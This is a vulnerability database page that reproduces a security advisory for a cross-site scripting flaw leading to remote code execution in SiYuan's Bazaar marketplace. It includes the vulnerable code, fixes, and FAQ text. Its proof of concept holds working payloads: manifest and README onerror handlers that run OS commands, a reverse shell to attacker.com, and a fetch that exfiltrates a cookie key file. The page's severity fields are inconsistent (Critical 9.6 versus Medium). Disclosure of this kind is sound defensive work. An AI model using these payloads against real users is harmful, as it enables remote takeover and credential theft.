How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

357,869

Total vulnerabilities in the database

SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS — siyuan

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Remote Code Execution via Malicious Bazaar Package — Marketplace XSS

Summary

SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:

Package metadata XSS (zero-click): Package displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.
README XSS (one-click): The renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.

Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.

Affected Component

Metadata rendering: app/src/config/bazaar.ts:275-277
README rendering (backend): kernel/bazaar/package.go:635-645 (renderREADME)
README rendering (frontend): app/src/config/bazaar.ts:607 (innerHTML)
Electron config: app/electron/main.js:422-426 (nodeIntegration: true)
Version: SiYuan <= 3.5.9

Vulnerable Code

Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)

// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` &lt;span class=&quot;ft__on-surface ft__smaller&quot;&gt;${item.name}&lt;/span&gt;` : &quot;&quot;}

// Package description injected directly — NO escaping
&lt;div class=&quot;b3-card__desc&quot; title=&quot;${escapeAttr(item.preferredDesc) || &quot;&quot;}&quot;&gt;
    ${item.preferredDesc || &quot;&quot;}  &lt;!-- UNESCAPED HTML --&gt;
&lt;/div&gt;

Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.

Vector 2: README rendering — no Lute sanitization (package.go:635-645)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance — SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := &quot;https://cdn.jsdelivr.net/gh/&quot; + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in markdown preserved
    return
}

Compare with the SiYuan note renderer in kernel/util/lute.go:81:

luteEngine.SetSanitize(true)  // Notes ARE sanitized — but README is NOT

Frontend innerHTML injection (bazaar.ts:607)

fetchPost(&quot;/api/bazaar/getBazaarPackageREADME&quot;, {...}, response =&gt; {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML from README
});

Proof of Concept

Vector 1: Malicious package manifest (zero-click RCE)

A malicious plugin.json (or theme.json, template.json):

{
    &quot;name&quot;: &quot;helpful-plugin&quot;,
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;Helpful Plugin&lt;img src=x onerror=\&quot;require(&#039;child_process&#039;).exec(&#039;calc.exe&#039;)\&quot;&gt;&quot;
    },
    &quot;description&quot;: {
        &quot;default&quot;: &quot;A helpful plugin&lt;img src=x onerror=\&quot;require(&#039;child_process&#039;).exec(&#039;id&gt;/tmp/pwned&#039;)\&quot;&gt;&quot;
    },
    &quot;version&quot;: &quot;1.0.0&quot;
}

When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.

Vector 2: Malicious README.md (one-click RCE)

# Helpful Plugin

This plugin does helpful things.

&lt;img src=x onerror=&quot;require(&#039;child_process&#039;).exec(&#039;calc.exe&#039;)&quot;&gt;

## Installation

Follow the usual steps.

When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.

Reverse shell via README

# Cool Theme

&lt;img src=x onerror=&quot;require(&#039;child_process&#039;).exec(&#039;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1\&quot;&#039;)&quot;&gt;

Data exfiltration via package name

{
    &quot;displayName&quot;: {
        &quot;default&quot;: &quot;&lt;img src=x onerror=\&quot;fetch(&#039;https://attacker.com/exfil?token=&#039;+require(&#039;fs&#039;).readFileSync(require(&#039;path&#039;).join(require(&#039;os&#039;).homedir(),&#039;.config/siyuan/cookie.key&#039;),&#039;utf8&#039;))\&quot;&gt;&quot;
    }
}

Attack Scenario

Attacker creates a GitHub repository with a plugin/theme/template
Attacker submits it to the SiYuan Bazaar (community marketplace)
Package manifest contains XSS payload in displayName or description
Zero-click: When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE
One-click: If the package README also contains raw HTML, clicking to view details triggers additional payloads

The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.

Impact

Severity: CRITICAL (CVSS 9.6)
Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Full remote code execution via Electron's nodeIntegration: true
Zero-click for metadata XSS — triggers on page load
Supply-chain attack vector targeting all Bazaar users
Can steal API tokens, session cookies, SSH keys, arbitrary files
Can install persistence, backdoors, or ransomware
Affects all SiYuan desktop users who browse the Bazaar

Suggested Fix

1. Escape package metadata in template rendering (bazaar.ts)

// Use a proper HTML escape function
function escapeHtml(str: string): string {
    return str.replace(/&amp;/g, &#039;&amp;amp;&#039;).replace(/&lt;/g, &#039;&amp;lt;&#039;)
              .replace(/&gt;/g, &#039;&amp;gt;&#039;).replace(/&quot;/g, &#039;&amp;quot;&#039;);
}

// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
&lt;div class=&quot;b3-card__desc&quot;&gt;${escapeHtml(item.preferredDesc || &quot;&quot;)}&lt;/div&gt;

2. Enable Lute sanitization for README rendering (package.go)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

Published: Mar 16, 2026
Updated: Mar 17, 2026
GHSA: GHSA-v3mg-9v85-fcm7
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
siyuan	-	0.0.0-20260313024916-fd6526133bb3.x

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v3mg-9v85-fcm7

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.